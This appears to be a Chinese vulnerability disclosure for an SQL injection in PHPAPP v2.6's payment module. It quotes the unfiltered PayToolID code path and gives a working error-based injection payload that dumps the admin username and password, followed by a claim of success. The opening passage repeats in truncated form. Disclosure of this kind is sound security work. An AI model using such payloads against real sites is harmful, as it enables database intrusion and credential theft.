### 简要描述: PHPAPP注入第八枚(无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/index.php?action=5&app=5, 存在漏洞的文件在/phpapp/apps/apppay/main_phpapp.php 来看看漏洞是如何产生的/phpapp/apps/apppay/main_phpapp.php ``` function OnLinePayAction(){ if($this->POST['PayMoney'] < PHPAPP::$config['pay_small_money']){ $this->Refresh(include $this->LanguageArray('apppay','Pay_is_too_low',1),'member.php?app=5&action=2'); }else{ include_once(APPS.'/pay/main_phpapp.php'); $pay=new PayMainControls(); $pay->GoPayTool($this->POST); } } ``` 调用了GoPayTool方法,去看看GoPayTool ``` function GoPayTool($payarr){ //检查支付工具 $paytoolid=$payarr['PayToolID']; if($this->IsSQL('pay_tool',"WHERE id_phpapp='$paytoolid'")){ if($payarr['Submit']){ include_once(APPS.'/pay/class/pay_class_phpapp.php'); $pay=new PayMoney($payarr,$paytoolid); $pay->SetPayTools(); } }else{ header('location:'.SURL); } } ```...
### 简要描述: PHPAPP注入第八枚(无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/index.php?action=5&app=5, 存在漏洞的文件在/phpapp/apps/apppay/main_phpapp.php 来看看漏洞是如何产生的/phpapp/apps/apppay/main_phpapp.php ``` function OnLinePayAction(){ if($this->POST['PayMoney'] < PHPAPP::$config['pay_small_money']){ $this->Refresh(include $this->LanguageArray('apppay','Pay_is_too_low',1),'member.php?app=5&action=2'); }else{ include_once(APPS.'/pay/main_phpapp.php'); $pay=new PayMainControls(); $pay->GoPayTool($this->POST); } } ``` 调用了GoPayTool方法,去看看GoPayTool ``` function GoPayTool($payarr){ //检查支付工具 $paytoolid=$payarr['PayToolID']; if($this->IsSQL('pay_tool',"WHERE id_phpapp='$paytoolid'")){ if($payarr['Submit']){ include_once(APPS.'/pay/class/pay_class_phpapp.php'); $pay=new PayMoney($payarr,$paytoolid); $pay->SetPayTools(); } }else{ header('location:'.SURL); } } ``` $payarr['PayToolID']即$this->POST['PayToolID'],而$this->POST是通过$_POST过滤结尾的’_s’的参数到得的,这里的因为结尾不是’_s’,所以不会被过滤,造成了注入。 Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交) ``` PayMoney=1&PayToolID=1' and (select 1 from (select count(*),concat(floor(rand(0)*2), (select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from phpapp_member group by a)b) or ' ``` 注入成功,管理员用户名及密码如下图中所示: [<img src="https://images.seebug.org/upload/201412/262350240c7fded1f56e4391364dfca74251c671.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/262350240c7fded1f56e4391364dfca74251c671.jpg) ### 漏洞证明: 见 详细说明